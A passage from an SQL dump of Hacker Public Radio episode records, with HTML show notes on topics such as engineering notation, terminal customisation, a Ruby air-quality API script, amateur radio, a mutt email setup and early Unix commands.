drives',0,0,1),
(3454,'2021-10-28','Engineering Notation',736,'Ken runs through the most common Engineering Notation used in HAM radio.','<h1 id=\"engineering-notation\">Engineering Notation</h1>\r\n<h3 id=\"learn-this-table\">Learn this table</h3>\r\n<pre>\r\n giga G 10<sup>9</sup>  1,000,000,000\r\n mega M 10<sup>6</sup>      1,000,000\r\n kilo k 10<sup>3</sup>          1,000\r\n                         1\r\nmilli m 10<sup>−3</sup>             0.001\r\nmicro μ 10<sup>−6</sup>             0.000,001\r\n nano n 10<sup>−9</sup>             0.000,000,001\r\n pico p 10<sup>−12</sup>            0.000,000,000,001\r\n</pre>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Engineering_notation\">Engineering notation</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Metric_prefix#List_of_SI_prefixes\">List of International System of Units (SI)</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3087\">hpr3087 :: Phonetic alphabet</a></li>\r\n</ul>\r\n',30,43,0,'CC-BY-SA','giga,mega,kilo,milli,micro,nano,pico,SI, International System of Units',0,0,1),
(3457,'2021-11-02','Tables',2260,'How and why I convert tables to lists','<p>\nMobile devices don\'t display them nicely.\nMost tables can be converted into a list:\n</p>\n\n<table>\n  <tr>\n    <th>OS</th><th>Init</th><th>Pkg</th>\n  </tr>\n<tr>\n<td>Fedora</td><td>systemd</td><td>dnf</td>\n</tr>\n<tr>\n<td>Slackware</td><td>BSD-style</td><td>slackpkg</td>\n</tr>\n<tr>\n<td>Gentoo</td><td>OpenRC</td><td>emerge</td>\n</tr>\n</table>\n\n<p>Can be represented as a list. In YAML terms, this is a <em>sequence</em> of <em>mappings</em>.\n</p>\n\n<ul><li>Fedora\n<ul><li>Init system: systemd</li>\n<li>Package manager: dnf</li>\n</ul></li>\n<li>Slackware\n<ul>\n<li>Init system: BSD-style</li>\n<li>Package manager: slackpkg</li>\n</ul></li>\n\n<li>Gentoo\n<ul>\n<li>Init system: OpenRC</li>\n<li>Package manager: emerge</li>\n</ul></li>\n</ul>\n\n<p>A table doesn\'t always translate exactly to a list, but it probably can be restructured. </p>\n\n<table>\n<tr>\n<th>OS</th><th>Open source</th><th>Landed on Mars</th></tr>\n<tr>\n<td>Linux</td><td>Yes</td><td>Yes</td>\n</tr>\n<tr>\n<td>BSD</td><td>Yes</td><td>No</td>\n</tr>\n<tr>\n<td>macOS</td><td>No</td><td>No</td>\n</tr>\n</table>\n\n<p>Could be written like this instead:</p>\n\n<p>Linux and BSD are open source operating systems, while macOS is not. Of these POSIX-compliant systems, only Linux has landed on Mars so far.</p>\n\n<p>That\'s pretty casual and loses the visual impact of a table or a list. So alternately, you could summarize what\'s common and highlight differences:</p>\n\n<p>\nThere are a few Linux systems on Mars.\nNeither BSD or macOS have yet landed on Mars.\n</p>\n\n<ul>\n<li>Linux and BSD are both open source.</li>\n<li>macOS is based partially on open source and includes components from the BSD, KDE, GNU, and other projects.</li>\n</ul>\n',78,4,0,'CC-BY-SA','data,tables,communication',0,0,1),
(3458,'2021-11-03','Living in the Terminal 2: The Obligatory Sequel',3648,'A very tired BlacKernel tries to handle feedback from the previous episode','<h2>Talking Points</h2>\r\n<ul>\r\n	<li>Listener Feedback\r\n		<ul>\r\n			<li>Dave Morriss and the Markdown/HTML debacle\r\n				<ul>\r\n					<li>Using validate_html</li>\r\n					<li>Podcast logistics etc.</li>\r\n				</ul>\r\n			</li>\r\n			<li>hackerdefo\'s suggestions\r\n				<ul>\r\n					<li>.less_termcap:<br/>\r\n					<pre>\r\nexport LESS_TERMCAP_mb=$(tput bold; tput setaf 2)\r\nexport LESS_TERMCAP_md=$(tput bold; tput setaf 6)\r\nexport LESS_TERMCAP_me=$(tput sgr0)\r\nexport LESS_TERMCAP_so=$(tput bold; tput setaf 3; tput setab 4)\r\nexport LESS_TERMCAP_se=$(tput rmso; tput sgr0)\r\nexport LESS_TERMCAP_us=$(tput smul; tput bold; tput setaf 7)\r\nexport LESS_TERMCAP_ue=$(tput rmul; tput sgr0)\r\nexport LESS_TERMCAP_mr=$(tput rev)\r\nexport LESS_TERMCAP_mh=$(tput dim)\r\nexport LESS_TERMCAP_ZN=$(tput ssubm)\r\nexport LESS_TERMCAP_ZV=$(tput rsubm)\r\nexport LESS_TERMCAP_ZO=$(tput ssupm)\r\nexport LESS_TERMCAP_ZW=$(tput rsupm)\r\n					</pre><br/>\r\n					.bashrc:<br/>\r\n					<pre>\r\nif [ -f $HOME/.less_termcap ];then\r\n	. $HOME/.less_termcap\r\nfi\r\n					</pre></li>\r\n					<li>poca, castero, and gpodder cli</li>\r\n					<li>My opinion on Python and Java</li>\r\n					<li>ProtonMail Bridge with mutt</li>\r\n				</ul>\r\n			</li>\r\n			<li>Comments from the last episode\r\n				<ul>\r\n					<li>(Please go to the last episode to read the full comments)</li>\r\n					<li>NOTE: If you want a timely response, please email me or mention me on Mastodon</li>\r\n					<li>Operat0r: Kids these days! https://www.nethack.org/</li>\r\n					<li>b-yeezi: +1 for cnus</li>\r\n					<li>sesamemucho: The text</li>\r\n					<li>Dave Morriss: Very enjoyable</li>\r\n					<li>Gumnos: Using \"c\" to pause in cmus</li>\r\n				</ul>\r\n			</li>\r\n		</ul>\r\n	</li>\r\n	<li>New Talking Points\r\n		<ul>\r\n			<li>Here Documents\r\n				<pre>\r\ncat &gt; text.txt &lt;&lt;EOF\r\nHello, World!\r\nEOF\r\n				</pre>\r\n			</li>\r\n			<li>NetHack</li>\r\n		</ul>\r\n	</li>\r\n</ul>\r\n\r\n<hr/>\r\n\r\n<h2>Show Notes</h2>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n	<li><a href=\"https://hackerpublicradio.org/eps.php?id=3431\">HPR Episode 3431: Living in the Terminal by BlacKernel</a></li>\r\n	<li><a href=\"https://brian-thompson.medium.com/setting-up-the-mutt-mail-client-with-protonmail-49c042486b3\">ProtonMail Bridge with Mutt by Medium</a></li>\r\n	<li><a href=\"https://github.com/brokkr/poca/\">poca by brokkr</a></li>\r\n	<li><a href=\"https://github.com/xgi/castero\">castero by xgi</a></li>\r\n	<li><a href=\"https://gpodder.github.io/docs/user-manual.html#command-line-interface\">gpodder CLI interface</a></li>\r\n	<li><a href=\"https://www.nethack.org/\">NetHack (The best game ever)</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n	<li>None</li>\r\n</ul>\r\n\r\n<hr/>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,0,1,'CC-BY-SA','cli, linux, terminal, applications, picks, tired',0,0,1),
(3459,'2021-11-04','Linux Inlaws S01E42: The Open Source Initiative',4396,'The Open Source Initiative','<p>In this episode our two OAPs host Deb Nicholson, the general manager of the\r\nOpen Source Initiative (OSI). Apart from riveting insights into open source\r\nlicensing we discuss the greater FLOSS ecosystem and Deb\'s views on why\r\nwearing shoes is important in certain contexts, open source standards, law\r\nsuits and the differences between US and Europe among other things.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OSI: <a href=\"https://opensource.org\" target=_blank>https://opensource.org</a></li>\r\n<li>OSI\'s FLOSS definition: <a href=\"https://opensource.org/osd\" target=_blank>https://opensource.org/osd</a></li>\r\n<li>Commons Clause license: <a href=\"https://commonsclause.com\" target=_blank>https://commonsclause.com</a></li>\r\n<!-- <li>TerminusDB license change: <a href=\"https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb\" target=_blank>https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb</a></li> -->\r\n<li>TerminusDB license change: <a href=\"https://terminusdb.com/blog/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb/\" target=_blank>https://terminusdb.com/blog/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb/</a></li>\r\n<li>Open source licenses: <a href=\"https://en.wikipedia.org/wiki/Comparison_of_free_and_open-source_software_licences\" target=_blank>https://en.wikipedia.org/wiki/Comparison_of_free_and_open-source_software_licences</a></li>\r\n<li>Open Core model: <a href=\"https://en.wikipedia.org/wiki/Open-core_model\" target=_blank>https://en.wikipedia.org/wiki/Open-core_model</a></li>\r\n<li>Software Freedom Conservancy: <a href=\"https://sfconservancy.org\" target=_blank>https://sfconservancy.org</a></li>\r\n<li>Bruce Perens: <a href=\"https://en.wikipedia.org/wiki/Bruce_Perens\" target=_blank>https://en.wikipedia.org/wiki/Bruce_Perens</a></li>\r\n<li>Loki TV series: <a href=\"https://en.wikipedia.org/wiki/Loki_(TV_series)\" target=_blank>https://en.wikipedia.org/wiki/Loki_(TV_series)</a></li>\r\n<li>Luca movie: <a href=\"https://www.imdb.com/title/tt12801262/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt12801262/?ref_=fn_al_tt_1</a></li>\r\n<li>The Internet is made of cats: <a href=\"https://www.youtube.com/watch?v=zi8VTeDHjcM\" target=_blank>https://www.youtube.com/watch?v=zi8VTeDHjcM</a></li>\r\n<li>Gnome and systemd: <a href=\"https://blogs.gnome.org/benzea/2019/10/01/gnome-3-34-is-now-managed-using-systemd\" target=_blank>https://blogs.gnome.org/benzea/2019/10/01/gnome-3-34-is-now-managed-using-systemd</a></li>\r\n<li>Apparmor Profile: <a href=\"https://packages.debian.org/bullseye/apparmor-profiles\" target=_blank>https://packages.debian.org/bullseye/apparmor-profiles</a></li>\r\n<li>Apparmor Profile Extra: <a href=\"https://packages.debian.org/bullseye/apparmor-profiles-extra\" target=_blank>https://packages.debian.org/bullseye/apparmor-profiles-extra</a></li>\r\n</ul>\r\n\r\n<p><small><em>Editor\'s Note, 2021-12-09</em>: TerminusDB link changed as requested</small></p>\r\n',384,111,1,'CC-BY-SA','OSI, RMS, Open Core, the Cat Internet, Luca, Loki, open source licensing',0,0,1),
(3462,'2021-11-09','Metal marbles.',618,'Introduction of new host, with reference to semantic playgrounds.','<h2 id=\"title-metal-marbles.\">Title: Metal marbles.</h2>\r\n<h3 id=\"summary-introduction-of-host-with-reference-to-semantic-playgrounds.\">Summary: Introduction of host, with reference to semantic playgrounds.</h3>\r\n<p>Link to the rust converter recipe, which I found to be cheaper, and more sprayable than buckets of gel or paint-like substances which you might find elsewhere:</p>\r\n<p><a href=\"https://www.canada.ca/en/conservation-institute/services/conservation-preservation-publications/canadian-conservation-institute-notes/tannic-acid-rusted-iron-artifacts.html\" class=\"uri\">https://www.canada.ca/en/conservation-institute/services/conservation-preservation-publications/canadian-conservation-institute-notes/tannic-acid-rusted-iron-artifacts.html</a></p>\r\n<p>In case that link moves, search for tannic acid rust converters, then choose your buffers.</p>\r\n<p>Email:<br />\r\nhpr@spoons.one</p>\r\n<p>Mastodon, though very very rarely:<br />\r\n<span class=\"citation\" data-cites=\"one_of_spoons\">@one_of_spoons</span><span class=\"citation\" data-cites=\"hispagatos.space\">@hispagatos.space</span></p>',398,0,1,'CC-BY-SA','host zen',0,0,1),
(3472,'2021-11-23','consuming an AQI API',386,'just because the sky is clear, doesn\'t mean the air is safe to breathe','<h2>AQI</h2>\r\n<p>Air Quality Index - measures particles in the air</p>\r\n<ul>\r\n<li>\r\n<p>Ozone </p>\r\n<ul>\r\n<li>good at high altitudes</li>\r\n<li>bad on the earth surface <a href=\"https://en.wikipedia.org/wiki/Ozone#Low_level_ozone\">https://en.wikipedia.org/wiki/Ozone#Low_level_ozone</a></li>\r\n</ul>\r\n</li>\r\n<li>\r\n<p>PM2.5 </p>\r\n<ul>\r\n<li>Particulate Matter, 2.5 micrometers <a href=\"https://en.wikipedia.org/wiki/Particulates#Size,_shape_and_solubility_matter\">https://en.wikipedia.org/wiki/Particulates#Size,_shape_and_solubility_matter</a></li>\r\n</ul>\r\n</li>\r\n</ul>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Particulates#Wildfire_smoke_risk\">https://en.wikipedia.org/wiki/Particulates#Wildfire_smoke_risk</a></p>\r\n<h2>Getting AQI data</h2>\r\n<p>Determining air quality in my area is as simple as visiting <a href=\"https://www.airnow.gov\">https://www.airnow.gov</a> and entering my zip code. Although my zip code covers 139.56 square miles, the result is accurate enough for my needs. When my zip code was submitted, the web page did not refresh. This means that the client interface made an API call to the backend server. </p>\r\n<p>It sure would be nice if the AQI status was emailed to my phone every hour, if the AQI was above a certain threshold.  </p>\r\n<p>In order to get the data from the API, it is necessary to emulate the request made by the client to the API. This can be accomplished using Firefox.</p>\r\n<ul>\r\n<li>open Firefox</li>\r\n<li>go to <a href=\"https://www.airnow.gov\">https://www.airnow.gov</a></li>\r\n<li>open the Firefox developer tools, either through the menu or with CTRL+SHIFT+i</li>\r\n<li>in the dev tools, select the Network tab</li>\r\n<li>enter the zip code in the form and submit</li>\r\n<li>watch the Network tab for a POST request to https://airnowgovapi.com/reportingarea/get</li>\r\n<li>click on the request in the network tab</li>\r\n</ul>\r\n<p>Another set of tabs are now available to display various bits of information regarding the request. From this data, it is possible to recreate the query. \r\nHowever, I took an even easier route, and right-clicked on the query in the Network tab, and selected <code>Copy > Copy as cURL</code> to get the request as a curl command complete with all necessary arguments prefilled.  Since I didn\'t want to write my entire AQI fetching script in bash, I copied the curl command into a text file and ported the request to Ruby. </p>\r\n<h2>The Finished Script</h2>\r\n<pre><code>#!/usr/bin/env ruby\r\nrequire \'net/http\'\r\nrequire \'uri\'\r\nrequire \'json\'\r\n\r\nuri =\"https://airnowgovapi.com/reportingarea/get\"\r\nparsed_uri = URI.parse(uri)\r\npayload={latitude:39.88,longitude:-120.76,stateCode:\'CA\',maxDistance:50}\r\nresponse = Net::HTTP.post_form(parsed_uri, payload)\r\ndata = JSON.parse(response.body)[0]\r\naqi=data[\"aqi\"].to_i\r\ncategory=data[\'category\']\r\nparameter=data[\'parameter\']\r\n\r\noutput= \"#{parameter}: #{aqi} - #{category}\"\r\nputs output\r\n\r\n\r\n/opt/textjezra \"#{output}\"` if aqi > 70\r\n</code></pre>\r\n',243,25,0,'CC-BY-SA','ruby, api, programming',0,0,1),
(3473,'2021-11-24','My journey into Amateur Radio',616,'Dave explains his journey into Amateur Radio, initial setup and successes.','<h2 id=\"opening\">Opening</h2>\r\n<p>Hello, my name is Dave, and welcome to another exciting episode of Hacker Public Radio. It\'s been a couple of years since my last episode, and I know that HPR is running low on shows. As I have had this one in planning for some time now, I though this was the right time to get it finished.</p>\r\n<h2 id=\"main\">Main</h2>\r\n<p>At the time of recording this, I\'ve been an <a href=\"https://en.m.wikipedia.org/wiki/Amateur_radio\">Amateur Radio</a> licence holder for 6 months. I took the notion of studying and applying for my Foundation licence (the first of three stages to a Full licence) when I read a blog post by Jon Spriggs G7VRI, back in March, entitled <a href=\"https://jon.sprig.gs/blog/post/2184\">Might Amateur Radio be a hobby for you?</a> I saw a <a href=\"https://jon.sprig.gs/blog/post/slideshow/amateur-radio\">presentation</a> by Jon at OggCamp in 2018 in Sheffield where he gave a whistle-stop tour of what Amateur Radio actually is, and how easy it is to get involved in it.</p>\r\n<p>As a bit of background, I was quite involved in the <a href=\"https://en.m.wikipedia.org/wiki/Citizens_band_radio\">CB Radio</a> scene back in the late 80s and early 90s - I was introduced to CB by my dad, whose handle was \"Screwball\", in the 70s... he had a CB rig in his car since as far back as I can remember. I picked up the hobby from him, by actually liberating him of his rig when he stopped using it. Unfortunately it got stolen from my car. C\'est la vie. Yes, my handle back then was \"The Love Bug\" - in fact, it was whilst looking for an alternative to \"Kool Kat\" as a handle that I first used the moniker \"The Love Bug\" - probably in the mid-80s - and it just stuck.</p>\r\n<p>So, after reading Jon\'s blog post, and doing some research into Amateur Radio myself, a whole bunch of things happened at the same time: I bought my first radio - a <a href=\"https://www.baofengradio.com/products/uv-5rtp\">Baofeng UV-5RTP</a> [<a href=\"https://www.amazon.co.uk/dp/B07PWGMT13\">Amazon UK</a>], I joined the <a href=\"https://rsgb.org/\">Radio Society of Great Britain</a> (not a requirement, but I would recommend it), signed up for Essex Ham\'s <a href=\"https://www.essexham.co.uk/train/online-exams/\">Foundation Training Course</a> (not a requirement, but strongly recommended as it\'s geared around the examination, and it\'s free!)</p>\r\n<p>The training took 3 weeks (in my own time), and I applied for my exam as soon as the training was complete. The exam was an hour long, under as close to exam conditions as an online exam would allow, and I was told by the online system that I\'d passed as soon as I submitted my answers. It then took a few days to get the confirmation of passing (and a certificate) in the post, which then allowed me to apply to <a href=\"https://en.m.wikipedia.org/wiki/Ofcom\">Ofcom</a> (the authority for the radio spectrum here in the UK) for my licence and callsign. I was able to choose the suffix of my callsign, and - as BUG was taken - I opted for TLB (for The Love Bug), and thus my callsign is - currently - M7TLB (Mike Seven Tango Lima Bravo). I say \"currently\" - I\'m not allowed to change my callsign, however the callsign is specific not only to me but also to the fact that I\'m a Foundation Licence holder. Therefore, when I go for my Intermediate and then Full licence, I\'ll get new callsigns for each one, each superseding the previous.</p>\r\n<p>Anyhoo, once I got my Foundation licence, I went out that Sunday to log some contacts, or <a href=\"https://en.m.wikipedia.org/wiki/Contact_(amateur_radio)\">QSO</a>s. So I parked up at a high point near to here, put a small aerial on the roof of the car (so that I didn\'t warm up my head when transmitting), and started calling <a href=\"https://en.m.wikipedia.org/wiki/CQ_(call)\">CQ</a> - essentially a way of saying \"I want to talk to somebody\" - \"Seek You\". As part of the licence conditions, you are only permitted to make contact with other identifiable and identified amateurs... general broadcasts to whomever might be listening are prohibited. <em>Except</em> when calling CQ to initiate that contact.</p>\r\n<p>So I\'d call out something akin to \"CQ, CQ, this station Mike Seven Tango Lima Bravo, Mike Seven Tango Lima Bravo Portable, calling CQ.\" The \"Portable\" indicates that I\'m not at my home station location. It\'s also a good indication that my transmission might be variable due to the portable nature of the station.</p>\r\n<p>I was transmitting using 8 watts of power, two watts fewer than the limit of my license, but significantly lower than the 400 watts that I could be using as a Full licence holder, so my hopes weren\'t high. My first contact was with a chap just outside Caistor, Lincolnshire... about 38 miles direct from where I was based. He was also using a portable station, but with a directional beam antenna, meaning that both transmission and reception from his end was able to focus on my direction. So yeah, impressed!</p>\r\n<p>My second contact was also a portable station, located at a high-point by the Woodhead Pass, in Penistone, about 18 miles direct from where I was. This contact was the gift that kept on giving, as there were two other portable stations at the same location, so I got three contacts in the log for that one.</p>\r\n<p>Things went quiet after that one, so after a further 5 calls out, I figured that was my lot. Still, I was happy with four QSOs on my first day!</p>\r\n<p>Later the same day, I went out for my daily constitutional, so I figured I\'d take the radio - with the standard short rubber-duck antenna, and an earpiece - with me. At least that way, I wouldn\'t look too silly, or a target to be fair. My intention was just to bounce around the frequencies and listen to conversations, rather than put out any CQs myself... I was in a residential area, so I didn\'t want to draw attention to myself.</p>\r\n<p>Whilst listening, I heard someone calling CQ and inviting respondents to a different frequency, so I followed and listened. There were a couple of contacts already there that I couldn\'t hear, so I waited for the initial contact to finish working the first. When he put out a call for whomever originally responded, I jumped in with my callsign, thinking that there was no way he would hear me. Consider that I was walking around town, in a reasonably built-up area, with probably the worst antenna I could have chosen for distance, and he wasn\'t exactly coming through strong. He responded to me directly, asking me to standby whilst he worked the other station that responded. Well, I was shocked to hear him say to the other contact that he was in East Yorkshire, about 33 miles from here! He was using a directional beam antenna which was pointing due west... whereas I am south-west of his location, so when you consider the other things I mentioned, the fact that he was also not pointing his antenna directly at me I was completely amazed that I was able to hold this relatively decent quality conversation with someone that far away. Well pleased was I.</p>\r\n<p>Cost-wise, I should warn that Amateur Radio <em>can</em> be an expensive hobby, but it absolutely doesn\'t have to be. At a bare minimum, to get me \"on the air\" I bought the Baofeng (£42.99), and paid for my Foundation examination (£27.50), so a little over £70 overall. I actually bought a number of accessories for the radio, and joined the RSGB, but these are in no way required expenses. The standard radio on its own is more than sufficient to gain some decent contacts, as I hope I\'ve proven with the success from that Sunday.</p>\r\n<p>Since then, I have bought an HF (or High Frequency) radio from India, it\'s a low-power model (or QRP) which is unlikely to get very far, but there are transmission modes that I can use that are specifically intended for low-power operation. My next big thing is to get an antenna up in the back garden along with a decent tuner so that I can actually use that radio!!</p>\r\n<p>By the time this episode goes out, I will have started an intensive course with <a href=\"https://oarc.uk/\">OARC</a> (Online Amateur Radio Community) which is a UK-based club - a more fantastic bunch of people you are not likely to find - so I\'ll be able to change my callsign to one beginning 2E0 or 2E1, and be able to use up to 50W to transmit, even though I don\'t have any equipment capable to transmitting 50W - yet!</p>\r\n<p>I point you to the excellent <a href=\"https://hackerpublicradio.org/series.php?id=43\">Ham radio, QSK</a> series on HPR where a number of correspondents have recorded shows about Amateur Radio that you may find interesting. I\'m putting this episode into the same series.</p>\r\n<h2 id=\"questions\">Questions</h2>\r\n<p>Are you an Amateur Radio operator? Let me know.</p>\r\n<h2 id=\"call-to-action\">Call to action</h2>\r\n<p>Drop me an email to <a href=\"mailto:hpr@thelovebug.org\">hpr@thelovebug.org</a>, I\'m on Facebook and Twitter as thelovebug, or leave a comment on this episode, or record your own episode in response.</p>\r\n<p>At the time of recording this, HPR is low on shows, if you have any shows in progress, or something burning in your mind, get it recorded. Find out more over at hackerpublicradio.org.</p>\r\n<h2 id=\"close\">Close</h2>\r\n<p>So, that\'s it for today... thanks for listening. <br />\r\nWherever you are in the world, stay safe. <br />\r\nCome back again tomorrow for another exciting episode on Hacker Public Radio.</p>\r\n<p>73 de M7TLB</p>\r\n',314,43,0,'CC-BY-SA','amateur radio, baofeng, rsgb, qso, cq, ham, ham radio, hf',0,0,1),
(3476,'2021-11-29','My mutt email setup',765,'My humble mutt email setup','\r\n<ol type=\"1\">\r\n<li>Get app password and enter it in a file call pass</li>\r\n</ol>\r\n<pre><code>    set my_gpass= &quot;MyAppPassword&quot;</code></pre>\r\n<ol start=\"2\" type=\"1\">\r\n<li><p>Encrypt pass file with <code>\'gpg -e pass\'</code></p></li>\r\n<li><p>Shred pass file with \'shred -uv pass\', which uses verbose mode</p></li>\r\n</ol>\r\n<pre><code>    shred - overwrite a file to hide its contents, and optionally delete it\r\n      -u deallocate and remove file after overwriting\r\n      -v, --verbose, show progress</code></pre>\r\n<ol start=\"4\" type=\"1\">\r\n<li><p>Use gpg encrypted key to open Gmail</p>\r\n<ul>\r\n<li>in .muttrc <code> source \"gpg -d ~/.mutt/pass.gpg |\" </code></li>\r\n</ul></li>\r\n<li><p>Source colors file: Custom color scheme</p></li>\r\n</ol>\r\n<pre><code>    ## Custom - Shows a gray line on tagged emails\r\n    color index yellow brightblack &quot;~T ~N | ~T&quot;</code></pre>\r\n<p><em>Tagged emails</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3476/tagged_emails.png\" alt=\"Tagged emails\" /></p>\r\n<ol start=\"6\" type=\"1\">\r\n<li>Source hooks file: Redirect default save path for email sorting</li>\r\n</ol>\r\n<pre><code>      ## Newsletters - Technology ##\r\n      save-hook &#39;~f lists.linuxjournal.com&#39; =&#39;Linux&#39;\r\n      save-hook &#39;~f arch-dev-public&#39;  =Newsletters\r\n      save-hook &#39;~f noreply@mmorpg.com&#39; =Newsletters\r\n      save-hook &#39;~f ocw@mit.edu&#39;|&#39;~b Opencourseware&#39; =Newsletters\r\n      save-hook &#39;~s Linux&#39;|&#39;~s Foundation&#39; =&#39;Newsletters&#39;\r\n      save-hook &#39;~f weekly@raspberrypi.org&#39; =Newsletters\r\n      save-hook &#39;~f hackspace@raspberrypi.org&#39; =Newsletters\r\n      save-hook &#39;~f @pragmaticbookshelf.com&#39; =Newsletters\r\n      save-hook &#39;~f comixology@e.comixology.com&#39; =Newsletters\r\n      save-hook &#39;~f mrgroove@groovypost.com&#39; =Newsletters\r\n      save-hook &#39;~f oreilly@post.oreilly.com&#39; =Newsletters\r\n      save-hook &#39;~f mark ~s arduino&#39; =Bookmarks/Arduino\r\n      save-hook &#39;~f smith@torproject.org&#39; =Newsletters/TorProject\r\n      save-hook &#39;~f info@torproject.org&#39; =Newsletters/TorProject\r\n      save-hook &#39;~f editor@eff.org&#39; =Newsletters.EFFdotOrg\r\n      save-hook &#39;~f contact@diyodemag.com&#39; =Newsletters/DIYODE-Magazine\r\n      save-hook &#39;~f weekly-update@allaboutcircuits.com&#39; =Newsletters/Circuits\r\n\r\n      ## Recipes ##\r\n      save-hook &#39;~f dora ~s Recipe | ~s Recipe | ~B recipe | ~B casserole | ~B bake | ~B &quot;omaha steaks&quot; &#39; =&#39;dabrat1972/Recipes&#39;</code></pre>\r\n<ol start=\"7\" type=\"1\">\r\n<li>Source aliases file: Frequently used contacts</li>\r\n</ol>\r\n<pre><code>      alias tags tags@hackerpublicradio.org\r\n      alias Dave_Morriss Dave Morriss &lt;perloid@autistici.org&gt;</code></pre>\r\n<ul>\r\n<li>HTML email\r\n<ul>\r\n<li>Install lynx</li>\r\n</ul></li>\r\n<li>Open URL\'s\r\n<ul>\r\n<li>Install urlscan</li>\r\n<li>Capital \'U\' open URL dialog</li>\r\n</ul></li>\r\n<li>Open pictures\r\n<ul>\r\n<li>Install feh</li>\r\n</ul></li>\r\n<li>PDF reader\r\n<ul>\r\n<li>Zathura\r\n<ul>\r\n<li><a href=\"https://bbs.archlinux.org/viewtopic.php?id=220572\" class=\"uri\">https://bbs.archlinux.org/viewtopic.php?id=220572</a></li>\r\n<li>Install zathura-pdf-mupdf and zathura-pdf-poppler\r\n<ul>\r\n<li>Just needed zathura-pdf-mupdf, zathura-pdf-poppler was included with zathura.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>mailcap - metamail capabilities file\r\n\r\nDESCRIPTION\r\n         The mailcap file is read by the metamail program to determine how to display non-text at the local site.</code></pre>\r\n<pre><code>  image/*; feh %s; test=test -n &quot;$DISPLAY&quot;;\r\n  text/html; lynx -nonumbers -dump %s; copiousoutput; nametemplate=%s.html\r\n  application/pdf; zathura /dev/stdin</code></pre>\r\n<h2 id=\"more-reading\">More reading</h2>\r\n<ul>\r\n<li>Regex question\r\n<ul>\r\n<li><a href=\"https://www.techrepublic.com/article/10-helpful-tips-for-mutt-e-mail-client-power-users\" class=\"uri\">https://www.techrepublic.com/article/10-helpful-tips-for-mutt-e-mail-client-power-users</a></li>\r\n</ul></li>\r\n<li>Colors\r\n<ul>\r\n<li><a href=\"https://www.rdrop.com/docs/mutt/manual29.html\" class=\"uri\">https://www.rdrop.com/docs/mutt/manual29.html</a></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"contact-me\">Contact me:</h2>\r\n<p>Email: ricemark20.nospam@nospam.gmail.com<br />\r\nMastodon: <a href=\"https://mastodon.sdf.org/@archer72\" class=\"uri\">https://mastodon.sdf.org/@archer72</a><br />\r\nMatrix: <span class=\"citation\" data-cites=\"archer72:matrix.org\">@archer72:matrix.org</span><br />\r\nHPR Matrix room: <a href=\"https://app.element.io/#/room/#hpr:matrix.org\" class=\"uri\">https://app.element.io/#/room/#hpr:matrix.org</a><br />\r\nOggcastplanet Matrix room: <a href=\"https://app.element.io/#/room/!oIafedhXUbEidMzeTt:libera.chat\" class=\"uri\">https://app.element.io/#/room/!oIafedhXUbEidMzeTt:libera.chat</a></p>\r\n<h2 id=\"links\">Links</h2>\r\nExample files:\r\n<ul>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/colors\">colors</a>\r\n</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/gmail\">gmail</a>\r\n</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/mailcap\">mailcap</a>\r\n</li>\r\n<li>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3476/muttrc\">muttrc</a>\r\n</li>\r\n</ul>\r\n',318,11,0,'CC-BY-SA','mutt,email, gpg,accessibility ',0,0,1),
(3485,'2021-12-10','50 years since the 1st Edition of Unix was published',747,'Ken (Fallon not Thompson) checks his unix like computer to see how many commands still exist.','<h1 id=\"top-ten-of-the-first-unix-commands\">top ten of the first unix commands</h1>\r\n<p>50 years after the 1st Edition of Unix was published, Ken (Fallon not Thompson) checks his unix like computer to see how many commands still exist (38) and how many are not installed by default (23).</p>\r\n<p>Thanks to <a href=\"https://twitter.com/bsdimp\">@bsdimp</a> on twitter for the post. Also to <a href=\"https://fosstodon.org/@atoponce/107219163009353638\">@atoponce@fosstodon.org</a> and <a href=\"https://mastodon.social/@obra/107217491430371868\">@obra@mastodon.social</a> for the tip.</p>\r\n<h3 id=\"packages-i-dont-have-installed\">Packages I don\'t have installed</h3>\r\n<p>Many are available under another name but I have not installed them. Seven of the of the twenty two relates to tapes.</p>\r\n<pre>\r\nB     -- language\r\nbas   -- basic\r\nbcd   -- binary coded decimal conversion\r\nboot  -- reboot system\r\nchdir -- change working directory\r\ncheck -- file system consistency check\r\ndb    -- debug\r\ndbppt -- dump binary paper tape\r\ndsw   -- delete interactively\r\ndtf   -- DECtape format\r\nfor   -- fortran\r\nform  -- form letter generator\r\nhup   -- hang up typewriter\r\nlbppt -- load binary paper tapes\r\nrew   -- rewind tape\r\nrkd   -- dump RK disk to tape\r\nrkf   -- format RKO3 disk pack\r\nrkl   -- reload RK disk from tape\r\nroff  -- format text\r\nsdate -- set date and time\r\ntap   -- manipulate DECtape\r\ntm    -- provide time information\r\nun    -- undefined symbols\r\n</pre>\r\n\r\n<h3 id=\"top-10-most-popular-50-year-old-commands-\">Top 10 most popular 50 year old commands !</h3>\r\n<pre>\r\n     1  10108 ls\r\n     2   2847 find\r\n     3   1985 rm\r\n     4   1482 mv\r\n     5    887 cat\r\n     6    649 for\r\n     7    544 mkdir\r\n     8    341 